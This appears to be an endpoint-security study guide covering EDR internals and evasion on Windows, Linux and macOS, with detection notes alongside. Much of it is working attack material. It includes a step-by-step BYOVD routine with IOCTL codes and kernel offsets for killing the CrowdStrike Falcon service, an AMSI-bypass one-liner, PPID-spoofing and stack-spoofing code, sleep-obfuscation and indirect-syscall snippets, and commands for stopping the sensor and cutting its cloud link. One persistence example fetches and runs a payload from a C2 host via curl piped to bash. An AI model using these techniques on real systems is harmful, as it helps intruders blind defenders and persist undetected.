Windows

TechniqueDetection Signal
Classic DLL injectionOpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread chain
Process hollowingNtUnmapViewOfSection on suspended process; PE header in-memory ≠ on-disk
Process doppelgängingNtCreateTransaction + NtCreateSection + NtRollbackTransaction sequence
Early Bird APCAPC queued to brand-new suspended process
Module stompingNamed module memory content ≠ on-disk file
Reflective DLLExecutable private memory with PE header; no LoadLibrary
Direct syscallssyscall instruction from non-ntdll memory range
ntdll unhookingTwo ntdll mappings in same process VAS
AMSI patchWrite to amsi.dll page
ETW patchWrite to ntdll!EtwEventWrite bytes
LOLBinsUnusual parent→child chains; encoded cmdline; net conn from interpreter
Token theftSysmon Event 10; OpenProcessToken on SYSTEM process
PPL bypassVulnerable signed driver load (Sysmon Event 6)
Log clearingEvent ID 1102 / 104; event ID gaps in SIEM

Linux

TechniqueDetection Signal
LD_PRELOAD / ld.so.preload/etc/ld.so.preload exists; unexpected /proc/<pid>/environ entries
LKM rootkitsys_call_table pointer outside kernel text; PID discrepancy /proc vs ps
eBPF rootkitUnknown bpftool prog list entries; suspicious XDP/LSM programs
memfd_create/proc/<pid>/exe → memfd: path
Process hidingPID in /proc absent from ps; prctl name matching kernel worker
auditd killauditd process absent; audit rules deleted (auditctl -D)
Log tamperingLog gap / truncation; wtmp blank; ctime newer than mtime
Timestompingctime newer than mtime; inode allocation order mismatch

macOS

TechniqueDetection Signal
DYLD_INSERT_LIBRARIESUnexpected dylib in /proc/<pid>/maps equivalent; ESF dylib load event
task_for_pid injectionESF ES_EVENT_TYPE_NOTIFY_REMOTE_THREAD_CREATE; audit task_for_pid
Dylib hijackingUnexpected dylib path in app's rpath directory
Launch agent persistenceNew plist in ~/Library/LaunchAgents/ (FSEvents / ESF notify write)
XPC exploitationUnexpected XPC caller; xpcspy trace of privileged service
Ad-hoc / unsigned binaryGatekeeper block; Santa unknown binary; spctl -a fail
TCC bypassTCC.db modification; tccd log anomalies; com.apple.macl on unexpected files
Log suppressionlog config in Unified Log; /var/db/diagnostics deletion

Key Tools

Analysis / Detection Tools

ToolPlatformPurpose
SysmonWindowsRich process/network/file/registry telemetry
VolatilityAll (memory)Memory forensics — detect injection, rootkits, artifacts
PE-sieveWindowsScan processes for code injection, hollowing, stomping
HollowsHunterWindowsHunt hollowed / injected processes
GMERWindowsWindows rootkit detector
Process HackerWindowsReal-time memory, handles, token inspection
AutorunsWindowsPersistence enumeration
rkhunter / chkrootkitLinuxLinux rootkit scanning
bpftoolLinuxInspect loaded eBPF programs and maps
FalcoLinux (K8s)Runtime security using eBPF/syscall rules
TetragonLinuxeBPF-based policy enforcement + telemetry
KnockKnock / BlockBlockmacOSPersistent item detection
SantamacOSBinary allowlist/blocklist via ESF
Objective-See toolsmacOSProcessMonitor, FileMonitor, LittleSnitch
yaraScan / VelociraptorAllYARA-based fleet-wide hunting
BinwalkAllEntropy analysis, embedded PE/ELF detection

Interview Questions and Answers

General / Conceptual

Q
What are the main differences in EDR architecture on Windows, Linux, and macOS?
Model answer

Windowsrich user-mode hook ecosystem (ntdll patching), kernel driver callbacks (PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks), ETW providers, AMSI. Linux: fewer stable kernel APIs for hooking — modern EDRs use eBPF programs, kprobes, or LSM hooks; auditd for legacy systems. macOS: Endpoint Security Framework (since Catalina) replaced kext APIs; provides authorisation events that can block actions. All three converge on: kernel-level data collection + cloud behavioural analysis.


Q
Why does Windows have more mature EDR tooling than Linux?
Model answer

Windows dominates enterprise endpoints — it's the primary target, so vendor investment follows. Windows has stable, well-documented kernel callback APIs (PsSetCreateProcessNotifyRoutine, ETW, AMSI) that have existed for decades. Linux's kernel interface changes frequently, making driver-based sensors harder to maintain. eBPF is the modern Linux answer but requires kernel 5.8+ and is still maturing as an EDR platform.


Q
What makes eBPF-based EDRs (Falco, Tetragon) different from auditd-based ones?
Model answer

auditd is passive — it writes events to a log file, which a SIEM consumes with latency. It cannot block actions. eBPF programs execute synchronously inside the kernel for every matching event, before the action completes, and can return a verdict to block it (Tetragon's kill action). Tetragon can terminate a process mid-syscall; auditd can only report after the fact. eBPF also has far lower overhead than auditd's kernel-to-userspace context-switch model.


Windows-Specific

Q
What's the difference between process hollowing and process doppelgänging?
Model answer

Process hollowingcreate a suspended process, unmap its memory (NtUnmapViewOfSection), map malicious code in its place, resume. The process entry in the process list shows a legitimate name (e.g., svchost.exe) but runs malicious code. Process doppelgänging: exploit Windows TxF (transactional NTFS) — write malicious code to a file inside a transaction (not committed to disk), create a section from that transacted file, map it as a new process image, roll back the transaction. No malicious file ever exists on disk.


Q
How do direct syscalls bypass EDR userspace hooks? What does an EDR need to do to detect them?
Model answer

EDR hooks work by patching the first bytes of functions like NtOpenProcess in ntdll.dll. Direct syscalls bypass ntdll entirely — the malware issues the syscall instruction itself with the correct syscall number, going straight to the kernel without touching ntdll. EDR detection requires moving to the kernel level: use kernel callbacks (ObRegisterCallbacks) that fire regardless of how the syscall was issued, or detect that the syscall originated from an address outside ntdll.dll (syscall-from-wrong-location heuristic).


Q
Explain AMSI and two ways an attacker bypasses it. What detection opportunity does each leave?
Model answer

AMSI (Antimalware Scan Interface) intercepts script content before execution — PowerShell, VBScript, JScript all call AmsiScanBuffer. Bypass 1: patch AmsiScanBuffer in memory to always return AMSI_RESULT_CLEAN — detectable by EDR monitoring WriteProcessMemory calls targeting amsi.dll. Bypass 2: [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) — detectable by ETW PowerShell logging of that reflection string.


Q
How does module stomping make detection harder than classic DLL injection?
Model answer

Classic DLL injection creates a new thread (CreateRemoteThread) — clearly anomalous. Module stomping overwrites bytes in an already-loaded legitimate DLL (e.g., win32u.dll) with shellcode and redirects an existing thread into it. The EDR sees execution inside a signed Microsoft DLL at a legitimate memory address. Harder to detect because the mapped region's file on disk is clean — only the in-memory copy is malicious. Detection: hash the in-memory content of loaded modules and compare against the on-disk version.


Q
What is ETW and how does patching EtwEventWrite help an attacker evade detection?
Model answer

ETW (Event Tracing for Windows) provides structured telemetry from the kernel and userspace to security tools — PowerShell activity, .NET assembly loading, AMSI calls, and more feed through ETW. Patching EtwEventWrite in ntdll with a RET instruction silences all userspace ETW telemetry from that process. EDR loses visibility into scripting engine activity and other traced events. Detection: kernel-mode ETW collection (which the patch doesn't affect), or detect the WriteProcessMemory targeting ntdll's EtwEventWrite.


Q
How would you detect a process hidden from the Windows process list via DKOM?
Model answer

DKOM removes the process from EPROCESS.ActiveProcessLinks so NtQuerySystemInformation (and tasklist/Task Manager) won't enumerate it. Detection: walk physical memory for EPROCESS structures directly and compare against the API process list — discrepancies reveal hidden processes. Volatility's psxview plugin does exactly this (cross-references 7 different process enumeration methods). Live: compare PspCidTable (handle table) against ActiveProcessLinks walk.


Q
What is a PPL bypass and why does it require a signed kernel driver?
Model answer

PPL (Protected Process Light) prevents processes with lower trust from opening handles with certain access rights to protected processes (like lsass). Bypassing requires modifying the _PS_PROTECTION field in the target process's EPROCESS kernel structure. Only kernel drivers can write to kernel memory. BYOVD (Bring Your Own Vulnerable Driver) loads a legitimately Microsoft-signed but exploit-vulnerable driver to gain kernel read/write, then uses it to zero the protection byte — bypassing PPL without modifying unsigned kernel code.


Linux-Specific

Q
How does LD_PRELOAD rootkit injection work, and why don't eBPF-based EDRs care about it?
Model answer

LD_PRELOAD causes the dynamic linker to load a specified library before all others. The rootkit .so exports functions with the same names as libc functions (readdir, getdents64) — when the program calls them, it hits the rootkit first, which filters results (hides files/processes) before optionally calling the real function. eBPF hooks at the kernel syscall boundary — it intercepts getdents64 at the point it enters the kernel and sees the real unfiltered results. The userspace libc hook is completely invisible to it.


Q
What is an eBPF rootkit and what can it hide that a traditional LKM rootkit can't?
Model answer

An eBPF rootkit runs as a BPF program in the kernel without being a loadable module. It doesn't appear in lsmod or /proc/modules. It can hook bpf() system calls to hide itself from other BPF programs (including eBPF-based EDRs), manipulate map lookups to return filtered data, and intercept kprobes. Traditional LKM rootkits require CAP_SYS_MODULE and leave traces in module lists. eBPF rootkits only need CAP_BPF (lower privilege) and leave fewer traces.


Q
How would you detect a process executing from memfd_create?
Model answer

memfd_create creates an anonymous memory-backed file descriptor — no path on disk. A process executing from it shows /proc/<pid>/exe → memfd:name (deleted). Detection: ls -la /proc/*/exe 2>/dev/null | grep memfd; cat /proc/<pid>/maps shows rwx anonymous regions; Falco rule on evt.type = memfd_create; check if exe_path starts with memfd. The process has no on-disk binary — any process doing this should be considered immediately suspicious unless it's a known JIT runtime.


Q
How does Linux timestomping differ from Windows timestomping forensically?
Model answer

On Linux, touch -t or debugfs can change atime/mtime/ctime-as-reported, but the kernel's inode.i_ctime (inode change time) updates on any inode modification — you cannot change ctime without direct disk manipulation or kernel tricks. stat exposes this. On Windows, NTFS has separate $STANDARD_INFORMATION (user-visible, modifiable via Win32 API) and $FILE_NAME (typically only updated by the kernel) timestamps — attackers change $STANDARD_INFORMATION while $FILE_NAME retains the real time. Linux forensics: always check stat ctime alongside mtime.


macOS-Specific

Q
Why are kernel extension rootkits no longer a viable threat on modern macOS?
Model answer

Apple requires all kernel extensions to be Apple-signed since macOS Big Sur and has deprecated kexts in favour of System Extensions. Enabling a kext now requires disabling SIP, booting into recovery mode, and running csrutil disable — which requires physical access. A kext rootkit additionally needs to bypass Gatekeeper and the notarisation requirement. Not practically viable for remote attackers; reserved for physical-access nation-state scenarios.


Q
What is the Endpoint Security Framework and how does malware attempt to evade it?
Model answer

ESF (since macOS Catalina) replaced kauth and KPI APIs. It provides authorisation events to security tools — file operations, process execution, network connections — which tools can block before they complete. Malware evasion attempts: (1) kill the ESF client process (requires root + SIP disabled); (2) exploit the ESF client itself (supply chain attack against the AV); (3) use PT_DENY_ATTACH to block the ESF client from monitoring the process; (4) use approved Apple-signed LOLBins that ESF clients may have allow-listed.


Q
How does macOS task_for_pid injection compare to Windows OpenProcess + CreateRemoteThread?
Model answer

Both achieve process injection by getting a handle to a target process's memory. task_for_pid requires the caller to have taskport entitlement rights — normally root or the process owner, and SIP prevents even root from calling it on system processes. Windows OpenProcess with PROCESS_ALL_ACCESS is available to any process with sufficient privileges (often achievable without true root). macOS's entitlement gate makes injection significantly harder, especially on hardened (notarised + Hardened Runtime) targets.


Q
What is dylib hijacking and which macOS mitigations prevent it on hardened apps?
Model answer

Dylib hijacking places a malicious .dylib in a path that appears in an application's @rpath search order before the legitimate library. When the app loads, it picks up the attacker's library. Mitigations on hardened apps: Hardened Runtime disables DYLD_INSERT_LIBRARIES/DYLD_LIBRARY_PATH injection. Library Validation (com.apple.security.cs.require-same-team-identifier) requires loaded dylibs to be signed by the same team. SIP protects system paths. Only unsigned or weakly-configured apps remain exploitable.


Q
Describe a scenario where an attacker uses LOLBins on macOS to persist without dropping a custom binary.
Model answer

Write a LaunchAgent plist to ~/Library/LaunchAgents/com.apple.update.plist (using defaults write or PlistBuddy — both built-in). Set ProgramArguments to ["/usr/bin/osascript", "-e", "do shell script \"curl http://c2/payload | bash\""]. osascript, curl, bash are all Apple-signed binaries. launchctl loads the agent on login. No custom binary is ever written — only a plist file, which many AV tools don't inspect deeply.



CrowdStrike Falcon — Architecture and Evasion

CrowdStrike Falcon is a cloud-native EDR/XDR platform. Understanding how it works internally is essential for both defenders hardening the sensor and for red teamers assessing detection gaps.

How Falcon is Built

┌────────────────────────────────────────────────────────────────────┐
│                      CrowdStrike Falcon Architecture               │
│                                                                    │
│  Endpoint                          CrowdStrike Cloud               │
│  ────────────────────              ──────────────────────────────  │
│  Kernel Driver (Ring 0)            Threat Graph (ML / behavioural) │
│    csagent.sys (Windows)           IOA Engine (pattern matching)   │
│    falcon_lsm_*.ko (Linux)         Overwatch (human threat hunters)│
│    System Extension (macOS)        Spotlight (threat intel)        │
│         │                                   ▲                      │
│         │ hooks / callbacks                  │ telemetry (TLS)     │
│         ▼                                   │                      │
│  Userspace Agent (Ring 3)          Detection decisions pushed back  │
│    CSFalconService.exe             to sensor in real time           │
│    falcon-sensor (Linux)                                            │
│    Falcon.app (macOS)                                               │
└────────────────────────────────────────────────────────────────────┘

Key architectural properties

PropertyDetail
Kernel-mode driverIntercepts process creation, image load, file I/O, registry, and network at the kernel level — not patchable from userspace
Cloud correlationRaw events stream to the CrowdStrike cloud where the AI detection engine runs. Local prevention is a subset; the cloud sees the full picture
IOCs vs IOAsIOC = hash/IP/domain match (simple). IOA = behavioral sequence (process chain, syscall pattern, memory anomaly) — far harder to evade
Prevention policiesConfigured per sensor group. Can block at execution time. The "sensor only" toggle turns off cloud AI but keeps local heuristics
Reduced functionality modeIf the sensor loses cloud connectivity, it falls back to local-only detections. Some IOA rules require cloud correlation and go dark

Detecting CrowdStrike Presence (Attacker Recon)

Before evading an EDR, attackers determine whether it is deployed.

Windows

powershell
# Services
Get-Service | Where-Object {$_.Name -match "CSFalcon|CrowdStrike"}
sc query CSFalconService

# Kernel driver
Get-WinEvent -ProviderName "Service Control Manager" | Where-Object {$_.Message -match "csagent"}
fltmc   # minifilter list — look for csagent

# Processes
Get-Process | Where-Object {$_.Name -match "falcon|CSFalcon"}
# CSFalconService.exe, CSFalconContainer.exe (GUI), CSFalconUpdate.exe

# Installation directory
Test-Path "C:\Program Files\CrowdStrike\"

# Registry
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\CSAgent"
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\CSFalconService"

Linux

bash
systemctl status falcon-sensor
/opt/CrowdStrike/falconctl status
ps aux | grep falcon
ls /opt/CrowdStrike/
lsmod | grep falcon           # kernel modules: falcon_lsm_serviceable, falcon_kal
ls /proc/*/exe 2>/dev/null | xargs ls -la 2>/dev/null | grep falcon

macOS

bash
# System Extension
systemextensionsctl list | grep -i crowdstrike
# or
launchctl list | grep -i falcon
ls /Library/SystemExtensions/ | grep crowdstrike

Operational implicationIf an attacker detects CrowdStrike, they will adapt TTPs — use more LOLBins, avoid known-bad IOA patterns, or attempt sensor tampering before deploying the main payload.


Sensor Tampering

Tampering with the Falcon sensor requires kernel-level access (Windows) or root + CAP_SYS_MODULE (Linux). The sensor is hardened against userspace interference.

Windows — Protected Process Light (PPL)

CSFalconService.exe runs as a PPL (Protected Process with PsProtectedSignerAntimalware-Light). Standard OpenProcess with PROCESS_TERMINATE fails with ACCESS_DENIED.

# Confirm PPL protection level
Get-WmiObject Win32_Process -Filter "Name='CSFalconService.exe'" | Select ProcessId
# → then use Process Hacker → Properties → General tab → Protection: Antimalware (Light)

Bypass pathThe same BYOVD technique used for LSASS (PPLKiller) applies here. Load a vulnerable signed driver, use its kernel-mode write primitive to clear _PS_PROTECTION.Type on the CSFalconService EPROCESS. Then TerminateProcess succeeds.

Known drivers abused for BYOVD:

DriverCVEProduct
RTCore64.sysCVE-2019-16098MSI Afterburner
DBUtil_2_3.sysCVE-2021-21551Dell BIOS Update
mhyprot2.sys—Genshin Impact anti-cheat
WinRing0x64.sys—OpenHardwareMonitor
ene.sysCVE-2022-42455Asus ROG utility

BYOVD step-by-step — RTCore64.sys (CVE-2019-16098) example:

RTCore64.sys (MSI Afterburner) has an IOCTL that lets an unprivileged caller read/write arbitrary physical memory. The exploit sequence:

c
// Step 1: Load the vulnerable driver
sc.exe create RTCore64 type=kernel binPath=C:\Windows\Temp\RTCore64.sys
sc.exe start RTCore64
// HANDLE hDriver = CreateFileA("\\\\.\\RTCore64", GENERIC_READ | GENERIC_WRITE, ...)

// Step 2: Find the EPROCESS of the target (CSFalconService or csagent)
// Walk the ActiveProcessLinks doubly-linked list from System (PID 4)
// Each node is an EPROCESS; ImageFileName is at EPROCESS+0x450 (varies by Windows build)
// _PS_PROTECTION is at EPROCESS+0x87A (Win10 21H1)
// _PS_PROTECTION.Type (1 byte) = 2 for PsProtectedSignerAntimalware, 0 = unprotected

// Step 3: Issue kernel read IOCTL to walk EPROCESS list
// IOCTL code 0x80002048 = RTCore64 memory read
DWORD target_pid = GetProcessId(...);   // CSFalconService PID
QWORD eprocess_addr = FindEPROCESS(hDriver, target_pid);  // walk via IOCTL reads

// Step 4: Zero out _PS_PROTECTION.Type via kernel write IOCTL
// IOCTL code 0x8000204C = RTCore64 memory write
// Write 0x00 to eprocess_addr + 0x87A (_PS_PROTECTION.Type)
RTCore64_MemWrite(hDriver, eprocess_addr + 0x87A, 0x00);

// Step 5: Now TerminateProcess succeeds
HANDLE hTarget = OpenProcess(PROCESS_TERMINATE, FALSE, target_pid);
TerminateProcess(hTarget, 0);

// Step 6: Clean up — unload driver to reduce artefacts
sc.exe stop RTCore64
sc.exe delete RTCore64
DeleteFile("C:\\Windows\\Temp\\RTCore64.sys");

What the analyst sees post-incidentDriver load event (Sysmon 6) with RTCore64.sys hash, immediately followed by termination of a security process (Sysmon 5 = process terminated). The sc.exe create / sc.exe start chain (Sysmon 1) is also visible.

CrowdStrike's counterThe Microsoft Vulnerable Driver Blocklist (updated quarterly) and CrowdStrike's own blocklist flag known vulnerable drivers at load time. Sysmon Event ID 6 fires on driver load; Falcon raises an alert if a driver matching known-bad hashes loads. The Falcon sensor also monitors for termination of its own service process via kernel callbacks — even if PPL is cleared, the termination event itself triggers an alert that lands in the cloud before the sensor goes dark.

Linux — Stopping the Sensor

bash
# Requires root
systemctl stop falcon-sensor             # stops userspace daemon
# The kernel modules (falcon_lsm_serviceable.ko etc.) remain loaded

# To fully remove the kernel module (requires root AND kernel module loading enabled)
rmmod falcon_lsm_serviceable
# Fails if modules_disabled=1 or kernel lockdown is active

# CrowdStrike-specific: the sensor registers LSM hooks and eBPF programs
# Removing the kernel module clears all hooks — the machine is blind until restarted

# Detection by CrowdStrike cloud:
# Sensor stops sending heartbeats → cloud marks sensor as "inactive"
# SOC alert: "Sensor state changed to inactive on host X"

ImportantStopping falcon-sensor (daemon) still leaves the kernel module's LSM hooks in place on some versions. The kernel module must be unloaded for full blindness.

Cloud Connectivity Disruption

CrowdStrike sensors stream telemetry to CrowdStrike's cloud over TLS on port 443. If this is blocked, the sensor enters Reduced Functionality Mode (RFM) — local ML/IOC prevention still works, but behavioral IOA rules that require cloud correlation go offline.

bash
# CrowdStrike cloud infrastructure (DNS names — these change; verify with falconctl)
# Primary: ts01-b.cloudsink.net, lfodown01-b.cloudsink.net (vary by CID/region)

# Blocking the sensor's cloud comms (requires firewall or DNS control)
nftables: ip daddr <crowdstrike-cloud-ip-range> drop
# or DNS: return NXDOMAIN for *.cloudsink.net

# Identifying sensor cloud endpoints from the host
cat /etc/hosts.allow   # some deployments document this
/opt/CrowdStrike/falconctl stats   # shows connection state

Defender counterSOC should alert on sensor_state: degraded or RFM=true events in the Falcon console. Network traffic baselines should flag a host that normally beacons to CrowdStrike but suddenly stops.


IOA (Indicator of Attack) Evasion

IOAs are CrowdStrike's behavioral detection rules. They fire on patterns, not on specific hashes, making them harder to defeat than IOC matching — but not impossible.

Understanding IOA Categories

IOA TypeExample PatternMITRE
Process chainwinword.exe → cmd.exe → powershell.exeT1204.002
Encoded commandpowershell.exe -EncodedCommand <base64>T1059.001
Credential accesslsass.exe opened with PROCESS_VM_READT1003.001
Lateral movementpsexec remote service creation patternT1021.002
PersistenceWrite to Run registry key followed by process createT1547.001
Defense evasionNtUnmapViewOfSection on suspended processT1055.012
Discoverynet user /domain, net group "Domain Admins"T1069.002

IOA Bypass Strategies

1. Break the process chain

CrowdStrike flags Office → cmd → powershell heavily. Inject into a process that already exists rather than spawning new children.

Instead of: Word → cmd.exe → powershell.exe
Use:        Word → inject shellcode into existing explorer.exe → C2

2. Indirect execution — avoiding execve chains

powershell
# Instead of (detectable):
powershell -enc <base64>

# Use COM object instantiation to avoid direct PowerShell spawn from parent:
$com = [System.Activator]::CreateInstance([System.Type]::GetTypeFromProgID("MMC20.Application"))
$com.Document.ActiveView.ExecuteShellCommand("powershell", $null, "-enc <b64>", "7")

3. PPID Spoofing

Create a new process with a spoofed parent PID to break parent-child IOA rules.

c
// Use PROC_THREAD_ATTRIBUTE_PARENT_PROCESS to assign any parent
STARTUPINFOEXA si = {0};
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = HeapAlloc(..., attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);

// Set parent to explorer.exe (looks like user-initiated)
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorer_pid);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
    PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);

CreateProcess("C:\\Windows\\System32\\cmd.exe", ..., EXTENDED_STARTUPINFO_PRESENT, ..., &si, &pi);
// Falcon sees: explorer.exe → cmd.exe (benign-looking)

DetectionCrowdStrike detects PPID spoofing by comparing the claimed parent PID in PROC_THREAD_ATTRIBUTE_PARENT_PROCESS against the actual kernel-tracked parent. Kernel callbacks receive both; a mismatch is flagged as ProcInjection/Spoofed PPID.

4. Command-line obfuscation (limited effect)

CrowdStrike's IOA engine normalises common obfuscation patterns (character substitution, string concatenation, environment variable expansion). Relying on simple obfuscation is insufficient.

5. Time-stomping and delayed execution

CrowdStrike's behavior graph correlates events within a rolling window. If events are spread across multiple sessions or hours, behavioral chains may not link.

powershell
# Stage 1: drop an encrypted blob to disk (no execution, low signal)
# Stage 2: (hours later, separate session) decrypt and reflectively load
# Lateral movement beacon fires only when specific data is found, not on initial access

Container and Kubernetes Environments

In containerised environments, CrowdStrike deploys as a DaemonSet (one Falcon sensor pod per node).

yaml
# Typical Falcon DaemonSet deployment
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: falcon-sensor
  namespace: falcon-system
spec:
  selector: ...
  template:
    spec:
      hostPID: true           # reads /proc from host namespace
      hostNetwork: true
      containers:
      - name: falcon-sensor
        image: falcon-sensor:latest
        securityContext:
          privileged: true    # required to load kernel module

Evasion angles in containers

TechniqueWhat it achieves
Container escape to node rootGet root on the node → rmmod falcon_lsm_serviceable
Namespace confusionCreate processes in new PID namespace — Falcon may not have visibility into isolated namespaces depending on sensor version
eBPF-based hidingA privileged container with CAP_BPF can load its own eBPF filter that suppresses Falcon's telemetry events
DaemonSet evictionIf attacker has cluster-admin RBAC, delete the falcon-system DaemonSet (kubectl delete ds falcon-sensor -n falcon-system)
Node selectionSchedule malicious workloads on nodes without the DaemonSet (nodeSelector or taint targeting unprotected nodes)

HardeningRun Falcon DaemonSet with priorityClassName: system-node-critical to prevent eviction; add RBAC policy preventing deletion of resources in falcon-system namespace; alert on DaemonSet pod count drops.


CrowdStrike Detection Evasion Summary

TechniqueWhat it targetsCrowdStrike counter
BYOVD (PPLKiller)Kill CSFalconService PPLVulnerable driver blocklist; Sysmon Event 6 alert
rmmod falcon_lsmRemove kernel hooksCloud heartbeat loss alert; kernel module tampering detection
Block *.cloudsink.netForce Reduced Functionality ModeSOC alert on sensor state change; network anomaly baseline
PPID spoofingBreak process chain IOAsKernel comparison of claimed vs actual parent
Process injection over spawnAvoid create_process IOAsMemory scan; cross-process handle IOA
Delayed stagingStretch behavior graph windowLonger correlation windows; Overwatch hunting
Delete Falcon DaemonSetRemove K8s sensorRBAC restriction; alert on DaemonSet mutation
COM-based lateral executionAvoid direct shell spawnCOM instantiation IOAs; behavioral baseline

Advanced and Emerging Evasion Techniques

These techniques are increasingly common in red team tooling and advanced threat actor campaigns. Most are not yet covered in mainstream EDR bypass guides.


A-1. Sleep Obfuscation (In-Memory Payload Encryption)

Modern EDRs scan process memory at rest to find shellcode signatures. Sleep obfuscation encrypts the payload in memory while it sleeps between C2 check-ins, then decrypts it only when active.

Active:    [plaintext shellcode in RX memory] → executing → sends beacon
Sleeping:  [encrypted blob in RW memory]      → AES-256 encrypted → no signature

Why in-memory scanning is a problem for attackers: Many EDRs (including CrowdStrike) perform periodic memory scans — they walk the VAS of every process, read PAGE_EXECUTE_READ and PAGE_EXECUTE_READWRITE regions, and run signature/heuristic checks on the bytes. Shellcode that sits in memory between beacons is exposed every time this scan runs.

Sleep obfuscation's core idea: change the memory protection to PAGE_READWRITE (non-executable) before sleeping, then change it back to PAGE_EXECUTE_READ before waking up to run. Simultaneously encrypt the bytes so even a PAGE_READWRITE scan finds only ciphertext.

Implementations

Ekko

uses RtlCreateTimer to schedule three consecutive timer callbacks: (1) encrypt shellcode in-place with RC4, (2) VirtualProtect → PAGE_READWRITE, (3) sleep via WaitForSingleObject. On the fourth callback the reverse happens: VirtualProtect → PAGE_EXECUTE_READ, decrypt, resume. The main thread is suspended the entire time.

Foliage

uses NtApcQueueThread instead of timers. Queues APC calls on the main thread to execute the protection changes without any explicit sleep or wait.

Gargoyle

(2017 original): places a return-oriented gadget that calls VirtualProtect(shellcode, PAGE_EXECUTE_READ) as a timer callback. No encrypt step — just the permission flip. Simpler, detected by entropy-based scans.

c
// Ekko flow — pseudo-code with actual function sequence
void beacon_sleep(DWORD ms) {
    // 1. Set up RC4 key and generate timer queue
    HANDLE hTimerQueue = RtlCreateTimerQueue();
    HANDLE hEvent      = CreateEvent(NULL, FALSE, FALSE, NULL);

    // 2. Schedule: encrypt shellcode, mark PAGE_READWRITE
    // Timer 1: RtlCaptureContext → saves registers into a CONTEXT struct
    // Timer 2: encrypt .text section with RC4 key (in-place XOR)
    // Timer 3: VirtualProtect(shellcode_base, shellcode_size, PAGE_READWRITE, &old)
    // Timer 4: SetEvent(hEvent) — signal that sleep can begin

    // 3. Main thread waits — suspended while timers run
    WaitForSingleObject(hEvent, INFINITE);

    // Memory state during sleep:
    // VA [shellcode_base .. +size]:  Protect=PAGE_READWRITE, Content=RC4(shellcode)
    // → EDR scan sees non-executable encrypted data — no signature match

    // 4. Wake up — more timers:
    // Timer 5: VirtualProtect(shellcode_base, shellcode_size, PAGE_EXECUTE_READ, &old)
    // Timer 6: decrypt RC4 in-place (restore plaintext)
    // Timer 7: RtlRestoreContext → restore registers and resume from where we left off
    WaitForSingleObject(hEvent2, ms);   // actual delay here
}

Detection

  • Periodic memory scans catch payloads in the brief window between decrypt and sleep
  • Track VirtualProtect calls that cycle PAGE_EXECUTE_READWRITE → PAGE_READWRITE → PAGE_EXECUTE_READ in a loop — this cycling pattern is an IOA
  • CrowdStrike and SentinelOne detect memory permission cycling as a behavioral indicator
  • Entropy analysis: encrypted blobs in private memory have very high entropy (~7.9 bits/byte vs ~4-5 for code)

A-2. Stack Spoofing

When an EDR hooks a function and inspects the call stack (walk the return address chain), it can see the real caller. If the chain shows shellcode → NtOpenProcess, that's an immediate flag. Stack spoofing forges the return address chain to make the call look like it originates from a legitimate module.

Real call stack:                    Spoofed call stack:
shellcode+0x1234                    ntdll!LdrLoadDll+0x5a
↑ ret addr                          ↑ ret addr
shellcode+0x4567                    kernel32!LoadLibraryA+0x23
↑ ret addr                          ↑ ret addr
ntdll!NtAllocateVirtualMemory       ntdll!NtAllocateVirtualMemory
(EDR hook sees this chain)          (EDR hook sees this chain — looks legitimate)

Why EDRs inspect call stacksWhen a hook fires (e.g., NtAllocateVirtualMemory is called), the EDR walks the caller's return address chain to see who called it. shellcode+0x123 → shellcode+0x456 → NtAllocateVirtualMemory is an immediate flag. kernel32!VirtualAlloc+0x23 → ntdll!LdrLoadDll+0x5a → NtAllocateVirtualMemory looks legitimate.

Implementation — how synthetic frames are built:

c
// Step 1: Find a "ret" gadget inside a legitimate ntdll or kernel32 function.
//         We want addresses that look like return sites inside real functions.
//         e.g., ntdll!LdrLoadDll+0x5a, kernel32!LoadLibraryA+0x12
//         These are real code addresses — the stack walker will see them and
//         attribute the call to those functions.

// Step 2: Before calling the syscall stub, manually build fake stack frames.
//         This means pushing the synthetic return addresses onto the stack
//         in the correct order (innermost first):

void spoofed_NtAllocateVirtualMemory(...) {
    // The real return address we want to restore at the end
    void* real_ret = &&after_call;

    // Build the fake frame chain on the stack:
    // [RSP+0x00] = ntdll gadget (our call looks like it's returning here)
    // [RSP+0x08] = kernel32 gadget
    // [RSP+0x10] = ntdll outer frame
    // The syscall stub will push one more level for the kernel call

    __asm__(
        "push %[ntdll_gadget]\n"         // frame 0 — innermost
        "push %[k32_gadget]\n"           // frame 1
        "push %[ntdll_outer]\n"          // frame 2
        "sub rsp, 0x20\n"                // shadow space for Win64 calling convention
        "call %[syscall_stub]\n"         // NtAllocateVirtualMemory stub
        "add rsp, 0x20\n"
        "pop r11\npop r11\npop r11\n"    // clean up the synthetic frames
        :
        : [ntdll_gadget]"r"(ntdll_ret_gadget),
          [k32_gadget]"r"(k32_ret_gadget),
          [ntdll_outer]"r"(ntdll_outer_gadget),
          [syscall_stub]"r"(syscall_stub_addr)
    );
    after_call:;
}

Tools implementing this: VulcanRaven, SilentMoonwalk, AceLdr, Tartarus' Gate with stack spoofing.

Detection

  • RSP (real stack pointer) points to memory not backed by any module — the spoofed frames are dangling
  • Legitimate ntdll!LdrLoadDll frames would have their own local variables on the stack; spoofed frames lack these
  • ETW Microsoft-Windows-Threat-Intelligence captures the real ClientId in syscall parameters regardless of stack spoofing
  • CrowdStrike inspects both the claimed stack and the actual thread context

A-3. Indirect Syscalls

Distinct from direct syscalls (W-2 above, where you embed syscall in your own code), indirect syscalls borrow the syscall instruction from within ntdll.dll itself to make the call look like it originated from ntdll.

asm
; Direct syscall (detectable: syscall outside ntdll module range)
mov r10, rcx
mov eax, 26h       ; NtOpenProcess SSN
syscall            ; ← this instruction is in YOUR shellcode's memory range
ret

; Indirect syscall (the syscall instruction is INSIDE ntdll.dll)
mov r10, rcx
mov eax, 26h
jmp qword [ntdll_syscall_gadget_ptr]   ; ← jumps to 'syscall; ret' inside ntdll
; EDR sees syscall instruction at ntdll+0x????  — looks legitimate

